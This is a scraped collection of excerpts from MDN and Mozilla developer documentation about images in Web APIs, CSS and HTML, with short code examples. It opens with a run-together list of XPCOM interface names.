...tmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozivisitinfomozivisitinfocallbackmozivisitstatuscallbacknsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityservicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleeditabletextnsiaccessibleeventnsiaccessiblehyperlinknsiaccessiblehypertextnsiaccessibleimagensiaccessibleprovidernsiaccessiblerelationnsiaccessibleretrievalnsiaccessiblerolensiaccessiblescrolltypensiaccessibleselectablensiaccessiblestatechangeeventnsiaccessiblestatesnsiaccessibletablensiaccessibletablecellnsiaccessibletablechangeeventnsiaccessibletextnsiaccessibletextchangeeventnsiaccessibletreecachensiaccessiblevaluensiaccessiblewin32objectnsialertsservicensiannotationobservernsiannotat...
...ntrynsishistorynsishistorylistenernsisockssocketinfonsisslerrorlistenernsisslsocketcontrolnsiscreennsiscreenmanagernsiscripterrornsiscripterror2nsiscriptableionsiscriptableinputstreamnsiscriptableunescapehtmlnsiscriptableunicodeconverternsiscrollablensisearchenginensisearchsubmissionnsisecuritycheckedcomponentnsiseekablestreamnsiselectionnsiselection2nsiselection3nsiselectioncontrollernsiselectionimageservicensiselectionprivatensiserversocketnsiserversocketlistenernsiservicemanagernsisessionstartupnsisessionstorensisimpleenumeratornsismsdatabaseservicensismsrequestmanagernsismsservicensisocketprovidernsisocketproviderservicensisockettransportnsisockettransportservicensisoundnsispeculativeconnectnsistackframensistandardurlnsistreamconverternsistreamlistenernsistringbundlensistringbundleoverriden...
Using the clipboard
for other types of data, such as urls or images, you will need to use a more complex method.
...this is needed because you can put anything on the clipboard from text to images.
...for example, a textbox would accept "text/unicode" (or "text/plain") while a composer window might accept html and image data.
Creating a Custom Column
from nsitreeview: getcellproperties(row, col, props): optionally modify the props array getrowproperties(row, props): optionally modify the props array getimagesrc(row, col): return a string (or null) getcelltext(row, col): return a string representing the actual text to display in the column from nsimsgcustomcolumnhandler: getsortstringforrow(hdr): return the string value that the column will be sorted by getsortlongforrow(hdr): return the long value that the column will be sorted by isstring(): return true / false warning!
... the message's header so that we can extract the reply to field var hdr = gdbview.getmsghdrat(row); return hdr.getstringproperty("replyto"); }, getsortstringforrow: function(hdr) {return hdr.getstringproperty("replyto");}, isstring: function() {return true;}, getcellproperties: function(row, col, props){}, getrowproperties: function(row, props){}, getimagesrc: function(row, col) {return null;}, getsortlongforrow: function(hdr) {return 0;} } basically, all we are doing here is making sure that both the text that is displayed to the user (getcelltext()) and the string we sort according to (when the user decided to sort the view by our custom column) are identical.
... don't forget that columns aren't restricted to text - they can also load images (via getimagesrc()) so that your extension can display a new visual cue to the user.
Plug-in Basics - Plugins
embedded plug-ins are commonly used for multimedia images relating to text in the page, such as the adobe flash plug-in.
...it embeds a variety of object types in an html page, including plug-ins, java components, activex controls, applets, and images.
...plug-ins are embedded in much the same way as gif or jpeg images are, except that a plug-in can be live and respond to user events, such as mouse clicks.
Console messages - Firefox Developer Tools
if the resource is an image, the image will be opened in a new tab.
... blocked loading mixed display content the page contained mixed display content: that is, the main page was served over https, but asked the browser to load "display content", such as images, over http.
... loading mixed (insecure) display content on a secure page the page contained mixed display content: that is, the main page was served over https, but asked the browser to load "display content", such as images, over http.
Body.body - Web APIs
WebAPIBodybody
example in our simple stream pump example we fetch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image.
... const image = document.getelementbyid('target'); // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobject...
...url(blob)) .then(url => console.log(image.src = url)) .catch(err => console.error(err)); specifications specification status comment fetchthe definition of 'body' in that specification.
Body - Web APIs
WebAPIBody
examples the example below uses a simple fetch call to grab an image and display it in an <img> tag.
... you'll notice that since we are requesting an image, we need to run body.blob() (response implements body) to give the response its correct mime type.
... html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'body' in that specification.
CanvasRenderingContext2D.filter - Web APIs
a value under 100% darkens the image, while a value over 100% brightens it.
... a value of 0% will create an image that is completely black, while a value of 100% leaves the input unchanged.
... html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelementbyid('source'); image.addeventlistener('load', e => { ctx.filter = 'contrast(1.4) sepia(1) drop-shadow(9px 9px 2px #e81)'; ctx.drawimage(image, 10, 10, 180, 120); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filter' in that specification.
ClipboardItem() - Web APIs
note: image format support varies by browser.
... examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new clipboarditem and write it to the clipboard, using the clipboard api.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ContentIndex.getAll() - Web APIs
homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a url string of the source image.
... sizes: optional a string representation of the image size.
... type: optional the mime type of the image.
Examples of web and XML development using the DOM - Web APIs
example 1: height and width the following example shows the use of the height and width properties alongside images of varying dimensions: <!doctype html> <html lang="en"> <head> <title>width/height example</title> <script> function init() { var arrimages = new array(3); arrimages[0] = document.getelementbyid("image1"); arrimages[1] = document.getelementbyid("image2"); arrimages[2] = document.getelementbyid("image3"); var objoutput = document.getelementbyid("output"); var strhtml = "<ul>"; for (var i = 0; i < arrimages.length; i++) { strhtml += "<li>image" + (...
...i+1) + ": height=" + arrimages[i].height + ", width=" + arrimages[i].width + ", style.height=" + arrimages[i].style.height + ", style.width=" + arrimages[i].style.width + "<\/li>"; } strhtml += "<\/ul>"; objoutput.innerhtml = strhtml; } </script> </head> <body onload="init();"> <p>image 1: no height, width, or style <img id="image1" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif"> </p> <p>image 2: height="50", width="500", but no style <img id="image2" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif" height="50" width="500"> </p> <p>image 3: no height, width, but style="height: 50px; width: 500px;" <img id="image3" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.
...gif" style="height: 50px; width: 500px;"> </p> <div id="output"> </div> </body> </html> example 2: image attributes <!doctype html> <html lang="en"> <head> <title>modifying an image border</title> <script> function setborderwidth(width) { document.getelementbyid("img1").style.borderwidth = width + "px"; } </script> </head> <body> <p> <img id="img1" src="image1.gif" style="border: 5px solid green;" width="100" height="100" alt="border test"> </p> <form name="formname"> <input type="button" value="make border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in this simple example, some basic style properties of an html ...
Element: error event - Web APIs
for example, if a script has an execution error or an image can't be found or is invalid.
... examples live example html <div class="controls"> <button id="img-error" type="button">generate image error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none;...
... } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); const badimg = document.queryselector('.bad-img'); badimg.addeventlistener('error', (event) => { log.textcontent = log.textcontent + `${event.type}: loading image\n`; console.log(event) }); const imgerror = document.queryselector('#img-error'); imgerror.addeventlistener('click', () => { badimg.setattribute('src', 'i-dont-exist'); }); result specifications specification status ui events working draft ...
File.type - Web APIs
WebAPIFiletype
syntax var name = file.type; value a string, containing the media type(mime) indicating the type of the file, for example "image/png" for png images example <input type="file" multiple onchange="showtype(this)"> function showtype(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { var name = files[i].name; var type = files[i].type; alert("filename: " + name + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type.
... it is assumed based on the file extension; a png image file renamed to .txt would give "text/plain" and not "image/png".
... moreover, file.type is generally reliable only for common file types like images, html documents, audio and video.
FileReader.readAsDataURL() - Web APIs
example html <input type="file" onchange="previewfile()"><br> <img src="" height="200" alt="image preview..."> javascript function previewfile() { const preview = document.queryselector('img'); const file = document.queryselector('input[type=file]').files[0]; const reader = new filereader(); reader.addeventlistener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readasdataurl(file); } } live...
...ipt function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
... for a full compatibility code you can see our crossbrowser possible solution for image preview.
FileSystemEntry.toURL() - Web APIs
example if you have a filesystemfileentry corresponding to an image file in a file system available to your web site or app, you can call tourl() to get its url for use in html.
... if your site is located at http://my-awesome-website.woot, and you have a temporary file system that contains an image file named awesomesauce.jpg, the url returned by tourl() might be (depending on the browser's implementation) something like "filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg".
... code that makes use of this might look like this: let img = document.createelement("img"); img.src = imagefileentry.tourl(); document.body.appendchild(img); assuming the scenario mentioned before the code, the result would be html that looks like this being appended to the end of the document: <img src="filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg"> browser compatibility the compatibility table on this page is generated from structured data.
HTMLSourceElement - Web APIs
htmlsourceelement.sizes is a domstring representing image sizes between breakpoints htmlsourceelement.src is a domstring reflecting the src html attribute, containing the url for the media resource.
... htmlsourceelement.srcset is a domstring reflecting the srcset html attribute, containing a list of candidate images, separated by a comma (',', u+002c comma).
... a candidate image is a url followed by a 'w' with the width of the images, or an 'x' followed by the pixel density.
Using IndexedDB - Web APIs
</td> </tr> <tr> <td> <label for="pub-year"> year: </label> </td> <td> <input type="number" id="pub-year" name="pub-year" /> </td> </tr> </tbody> <tbody> <tr> <td> <label for="pub-file"> file image: </label> </td> <td> <input type="file" id="pub-file"/> </td> </tr> <tr> <td> <label for="pub-file-url"> online-file image url:<br/> <span class="note">(same origin url)</span> </label> </td> <td> <input t...
... if (blob.type == 'text/html') { var reader = new filereader(); reader.onload = (function(evt) { var html = evt.target.result; iframe.load(function() { $(this).contents().find('html').html(html); }); }); reader.readastext(blob); } else if (blob.type.indexof('image/') == 0) { iframe.load(function() { var img_id = 'image-' + key; var img = $('<img id="' + img_id + '"/>'); $(this).contents().find('body').html(img); var obj_url = window.url.createobjecturl(blob); $(this).contents().find('#' + img_id).attr('src', obj_url); window.url.revokeobjecturl(obj_url); }); } else if (blob.t...
...').css('cursor', 'auto'); }); iframe.attr('src', obj_url); window.url.revokeobjecturl(obj_url); } else { iframe.load(function() { $(this).contents().find('body').html("no view available"); }); } }); } /** * @param {string} biblioid * @param {string} title * @param {number} year * @param {string} url the url of the image to download and store in the local * indexeddb database.
Media Session API - Web APIs
dictionaries mediaimage a mediaimage object contains information describing an image associated with the media.
...it then instantiates a metadata object for the session, and adds event handlers for the user control actions: if ('mediasession' in navigator) { navigator.mediasession.metadata = new mediametadata({ title: 'unforgettable', artist: 'nat king cole', album: 'the ultimate collection (remastered)', artwork: [ { src: 'https://dummyimage.com/96x96', sizes: '96x96', type: 'image/png' }, { src: 'https://dummyimage.com/128x128', sizes: '128x128', type: 'image/png' }, { src: 'https://dummyimage.com/192x192', sizes: '192x192', type: 'image/png' }, { src: 'https://dummyimage.com/256x256', sizes: '256x256', type: 'image/png' }, { src: 'https://dummyimage.com/384x384', sizes: '384x384', type: 'image/png' }, ...
... { src: 'https://dummyimage.com/512x512', sizes: '512x512', type: 'image/png' }, ] }); navigator.mediasession.setactionhandler('play', function() { /* code excerpted.
Notification - Web APIs
notification.badge read only the url of the image used to represent the notification when there is not enough space to display the notification itself.
... notification.icon read only the url of the image used as an icon of the notification as specified in the constructor's options parameter.
... notification.image read only the url of an image to be displayed as part of the notification, as specified in the constructor's options parameter.
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
... texture a webgltexture object whose image to attach.
... level a glint specifying the mipmap level of the texture image to be attached.
PaintWorklet.registerPaint - Web APIs
the paintworklet.registerpaint() method of the paintworklet interface registers a class programmatically generate an image where a css property expects a file.
...to use it, you register it with the css.paintworklet.addmodule() method: <script> css.paintworklet.addmodule('checkboardworklet.js'); </script> you can then use the paint() css function in your css anywhere an <image> value is valid.
... li { background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification.
Request() - Web APIs
WebAPIRequestRequest
since we are fetching an image, we run body.blob on the response to give it the proper mime type so it will be handled properly, then create an object url of it and display it in an <img> element.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { return response.blob(); }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); in our fetch request with init example (see fetch request init live) we do the same thing except that we pass in an init object when we invoke fetch(): var myimage = document.queryselector('img'); var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg',myinit); fetch(myrequest).then(function(response) { ...
... var myinit = { method: 'get', headers: { 'content-type': 'image/jpeg' }, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg', myinit); you may also pass a request object to the request() constructor to create a copy of the request (this is similar to calling the clone() method.) var copy = new request(myrequest); note: this last usage is probably only useful in serviceworkers.
Request.context - Web APIs
WebAPIRequestcontext
the deprecated context read-only property of the request interface contains the context of the request (e.g., audio, image, iframe).
... the context of a request is only relevant in the serviceworker api; a service worker can make decisions based on whether the url is for an image, or an embeddable object such as a <video>, iframe, etc.
... example in the following snippet, we create a new request using the request.request() constructor (for an image file in the same directory as the script), then save the request context in a variable: var myrequest = new request('flowers.jpg'); var mycontext = myrequest.context; // returns the empty string by default ...
Request - Web APIs
WebAPIRequest
request.context read only contains the context of the request (e.g., audio, image, iframe, etc.) request.credentials read only contains the credentials of the request (e.g., omit, same-origin, include).
... examples in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/favicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example...
...: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in the following snippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata, urlsearchparams, usvstring or readablestream type, so for adding a json object to the payload you need to stringify that object.
Response - Web APIs
WebAPIResponse
examples in our basic fetch example (run example live) we use a simple fetch() call to grab an image and display it in an <img> element.
... you'll notice that since we are requesting an image, we need to run body.blob (response implements body) to give the response its correct mime type.
... const image = document.queryselector('.my-image'); fetch('flowers.jpg').then(function(response) { return response.blob(); }).then(function(blob) { const objecturl = url.createobjecturl(blob); image.src = objecturl; }); you can also use the response.response() constructor to create your own custom response object: const response = new response(); specifications specification status comment fetchthe definition of 'response' in that specification.
Using the Screen Capture API - Web APIs
both of these implementations of startcapture() return the mediastream containing the captured display imagery.
...generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern.
... setup first, some constants are set up to reference the elements on the page to which we'll need access: the <video> into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.
Storage.removeItem() - Web APIs
example the following function creates three data items inside local storage, then removes the image data item.
... function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); localstorage.removeitem('image'); } we can do the same for the session storage.
... function populatestorage() { sessionstorage.setitem('bgcolor', 'red'); sessionstorage.setitem('font', 'helvetica'); sessionstorage.setitem('image', 'mycat.png'); sessionstorage.removeitem('image'); } note: to see this used within a real world example, see our web storage demo.
WebGLRenderingContext.getParameter() - Web APIs
gl.green_bits glint gl.implementation_color_read_format glenum gl.implementation_color_read_type glenum gl.line_width glfloat gl.max_combined_texture_image_units glint gl.max_cube_map_texture_size glint gl.max_fragment_uniform_vectors glint gl.max_renderbuffer_size glint gl.max_texture_image_units glint gl.max_texture_size glint gl.max_varying_vectors glint gl.max_vertex_attribs glint gl.max_vertex_texture_image_units gl...
... gl.unpack_image_height glint see pixelstorei.
... gl.unpack_skip_images glint see pixelstorei.
Starting up and shutting down a WebXR session - Web APIs
there are three options: immersive-vr a fully-immersive virtual reality session using a headset or similar device that fully replaces the world around the user with the images you present.
... immersive-ar an augmented reality session in which images are added to the real world using a headset or similar apparatus.
... inline an on-screen presentation of the xr imagery within the context of the document window.
Basic concepts behind Web Audio API - Web APIs
note: audio resampling is very similar to image resizing.
... say you've got a 16 x 16 image, but you want it to fill a 32x32 area.
...the result has less quality (it can be blurry or edgy, depending on the resizing algorithm), but it works, with the resized image taking up less space.
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
this can happen for display environments which use superscaling or anti-aliasing techniques to improve perceived image quality.
... the recommended webgl frame buffer resolution is the best possible estimate of the resolution necessary to contain all of fthe xrviews needed by the device while at the same time providing typical applications an acceptable balance of image quality and performance.
...consider a frame buffer which at full size looks like this: if, on this device, it's determined that due to gpu limitations the browser needs to reduce image quality in order to improve performance to an acceptable level, it might choose to halve the resolution.
ARIA: figure role - Accessibility
a figure is generally considered to be one or more images, code snippets, or other content that puts across information in a different way to a regular flow of text.
... <div role="figure" aria-labelledby="caption"> <img src="image.png" alt="full alternative image description"> <p id="caption">figure 1: the caption</p> </div> in the above example, we have a figure that consists of two separate content items — an image and a caption.
... description any content that should be grouped together and consumed as a figure (which could include images, video, audio, code snippets, or other content) can be identified as a figure using role="figure".
Accessibility: What users can do to browse more safely - Accessibility
personalization and accessibility settings from the article, "understanding success criterion 2.3.1: three flashes or below threshold" "flashing can be caused by the display, the computer rendering the image or by the content being rendered.
...19 article revisiting prefers-reduced-motion, the reduced motion media query, "while microsoft edge does not have support for prefers-reduced-motion, it will become chrome under the hood soon." safari 10.1 and above (desktop) do not enable auto-play (does not work for gifs) ios safari 10.3 and above (mobile and tablet) select the "reduce motion option" in os accessibility settings for apple (image source: developers.google.com from thomas steiner's article "move ya!
...using firefox as an example, it explains that by changing the value the image.animation_mode from "normal" to "none", all animated images will be blocked.
-webkit-print-color-adjust - CSS: Cascading Style Sheets
the -webkit-print-color-adjust property is a non-standard css extension that can be used to force printing of background colors and images in browsers based on the webkit engine.
... background colors and images are only printed if the user explicitly allows it in their browser's print settings dialog.
... exact background colors and images of the element to which this rule is applied are always printed, user's print settings are overridden.
:-moz-loading - CSS: Cascading Style Sheets
the :-moz-loading css pseudo-class is a mozilla extension that matches elements that can't be displayed because they have not started loading, such as images that haven't started to arrive yet.
... note that images that are in the process of loading are not matched by this pseudo-class.
... syntax :-moz-loading examples setting a background for images that are loading :-moz-loading { background-color: #aaa; background-image: url(loading-animation.gif) center no-repeat; } specifications not part of any standard.
::first-letter (:first-letter) - CSS: Cascading Style Sheets
the ::first-letter css pseudo-element applies styles to the first letter of the first line of a block-level element, but only when not preceded by other content (such as images or inline tables).
...ont, font-style, font-feature-settings, font-kerning, font-language-override, font-stretch, font-synthesis, font-variant, font-variant-alternates, font-variant-caps, font-variant-east-asian, font-variant-ligatures, font-variant-numeric, font-variant-position, font-weight, font-size, font-size-adjust, line-height and font-family all background properties : background, background-color, background-image, background-clip, background-origin, background-position, background-repeat, background-size, background-attachment, and background-blend-mode all margin properties: margin, margin-top, margin-right, margin-bottom, margin-left all padding properties: padding, padding-top, padding-right, padding-bottom, padding-left all border properties: the shorthands border, border-style, border-color, borde...
...r-width, border-radius, border-image, and the longhands properties the color property the text-decoration, text-shadow, text-transform, letter-spacing, word-spacing (when appropriate), line-height, text-decoration-color, text-decoration-line, text-decoration-style, box-shadow, float, vertical-align (only if float is none) css properties syntax /* css3 syntax */ ::first-letter /* css2 syntax */ :first-letter examples simple drop cap in this example we will use the ::first-letter pseudo-element to create a simple drop cap effect on the first letter of the paragraph coming right after the <h2>.
@counter-style - CSS: Cascading Style Sheets
symbols can contain string, images or custom identifiers.
... the below @counter-style rule uses images instead of character symbols.
... image values for symbols is currently an 'at risk' feature, and is not implemented in any browser.
Border-radius generator - CSS: Cascading Style Sheets
; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3px; font-weight: bold; float: left; } .ui-checkbox .text { padding-left: 34px; background-position: center left 10px; } .ui-checkbox .left { padding-right: 34px; padding-left: 1.666em; background-position: center right 10px; } ...
....ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } body { max-width: 1000px; margin: 0 auto; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /******************************************************************************/ /******************************************************************************/ /* * preview area */ #preview {...
...h: 50px; height: 20px; marign: 0; padding: 0 0 0 10px; background: #555; border: 1px solid #555; border: none; color: #fff; float: left; } #unit-selection select option { background: #fff; color: #333; } #unit-selection select:hover { cursor: pointer; } #unit-selection .dropdown:before { content: ""; width: 18px; height: 20px; display: block; background-color: #555; background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png"); background-position: center center; background-repeat: no-repeat; top: 0px; right: 0px; position: absolute; z-index: 1; pointer-events: none; } #unit-selection .unit-top-left { top: 0; left: 0; display: none; } #unit-selection .unit-top-left-w { top: -22px; left: 30px; } #unit-selection .unit-top-left-h { top: 20px; le...
Using multiple backgrounds - CSS: Cascading Style Sheets
that is, the following background properties can be specified as a list, one per background: background, background-attachment, background-clip, background-image, background-origin, background-position, background-repeat, background-size.
... example in this example, three backgrounds are stacked: the firefox logo, an image of bubbles, and a linear gradient: html <div class="multi-bg-example"></div> css .multi-bg-example { width: 100%; height: 400px; background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)); background-repeat: no-repeat, no-repeat, no-repeat; background-position: bottom right, left, right; } result (if image does not appear in codepen, click the 'tidy' button in the css section) as you can see here, the firefox logo (listed first within background-image) is on top, directly above the bubbles graphic, followed by...
... the gradient (listed last) sitting underneath all previous 'images'.
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
the content area, bounded by the content edge, contains the "real" content of the element, such as text, an image, or a video player.
...it often has a background color or background image.
...when there is a background (background-color or background-image) set on a box, it extends to the outer edge of the border (i.e.
Handling Overflow in Multicol - CSS: Cascading Style Sheets
for example, the situation could happen when an image in a column is wider than the column-width value or the width of the column based on the number of columns declared with column-count.
...you can see an example of this below, with an image of the expected rendering as, at the time of writing, browsers deal with this differently.
... if you want an image to size down to fit the column box, the standard responsive images solution of setting max-width: 100% will achieve that for you.
background-blend-mode - CSS: Cascading Style Sheets
the background-blend-mode css property sets how an element's background images should blend with each other and with the element's background color.
... blending modes should be defined in the same order as the background-image property.
... if the blending modes' and background images' list lengths are not equal, it will be repeated and/or truncated until lengths match.
box-decoration-break - CSS: Cascading Style Sheets
the specified value will impact the appearance of the following properties: background border border-image box-shadow clip-path margin padding syntax /* keyword values */ box-decoration-break: slice; box-decoration-break: clone; /* global values */ box-decoration-break: initial; box-decoration-break: inherit; box-decoration-break: unset; the box-decoration-break property is specified as one of the keyword values listed below.
...the border-radius, border-image, and box-shadow are applied to each fragment independently.
... the background is also drawn independently for each fragment, which means that a background image with background-repeat: no-repeat may nevertheless repeat multiple times.
contain - CSS: Cascading Style Sheets
WebCSScontain
| style | paint ] examples simple layout the markup below consists of a number of articles, each with content: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> each <article> and <img> is given a border, and the images are floated: img { float: left; border: 3px solid black; } article { border: 1px solid black; } float interference if we were to insert another image at the bottom of the first article, a large portion of the dom tree may be re-laid out or repainted, and this would also interfere with the layout of the second article: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> ...
... <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; } as you can see, because of the way floats work, the first image ends up inside the area of the second article: fixing with contain if we give each article the contain property with a value of content, when new elements are inserted the browser understands it only needs to recalculate the containing element's subtree, and not anything outside it: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </articl...
...e> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; contain: content; } this also means that the first image no longer floats down to the second article, and instead stays inside it's containing element's bounds: specifications specification status comment css containment module level 1the definition of 'contain' in that specification.
brightness() - CSS: Cascading Style Sheets
the brightness() css function applies a linear multiplier to the input image, making it appear brighter or darker.
...a value under 100% darkens the image, while a value over 100% brightens it.
... a value of 0% will create an image that is completely black, while a value of 100% leaves the input unchanged.
drop-shadow() - CSS: Cascading Style Sheets
the drop-shadow() css function applies a drop shadow effect to the input image.
... a drop shadow is effectively a blurred, offset version of the input image's alpha mask, drawn in a specific color and composited below the image.
...the box-shadow property creates a rectangular shadow behind an element's entire box, while the drop-shadow() filter function creates a shadow that conforms to the shape (alpha channel) of the image itself.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
the <gradient> css data type is a special type of <image> that consists of a progressive transition between two or more colors.
... <div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient { background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification.
... working draft adds conic-gradient css images module level 3the definition of '<gradient>' in that specification.
mask-border-width - CSS: Cascading Style Sheets
if the image does not have the required intrinsic dimension, the corresponding border-width is used instead.
... formal definition initial valueautoapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrelative to width/height of the mask border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples basic usage this property doesn't appear to be supported anywhere yet.
... mask-border-width: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-width — with a prefix: -webkit-mask-box-image-width: 20px; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-position - CSS: Cascading Style Sheets
the mask-position css property sets the initial position, relative to the mask position layer set by mask-origin, for each defined mask image.
... formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ ...
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting mask position css #wrapper { border: 1px solid black; width: 250px; height: 250px; } #masked { width: 250px; height: 250px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: no-repeat; mask-position: top right; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="wrapper"> <div id="masked"> </div> </div> <select id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option> <option value...
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
shapeobsolete since html5 the shape of the hyperlink’s region in an image map.
... note: use the <area> element for image maps instead.
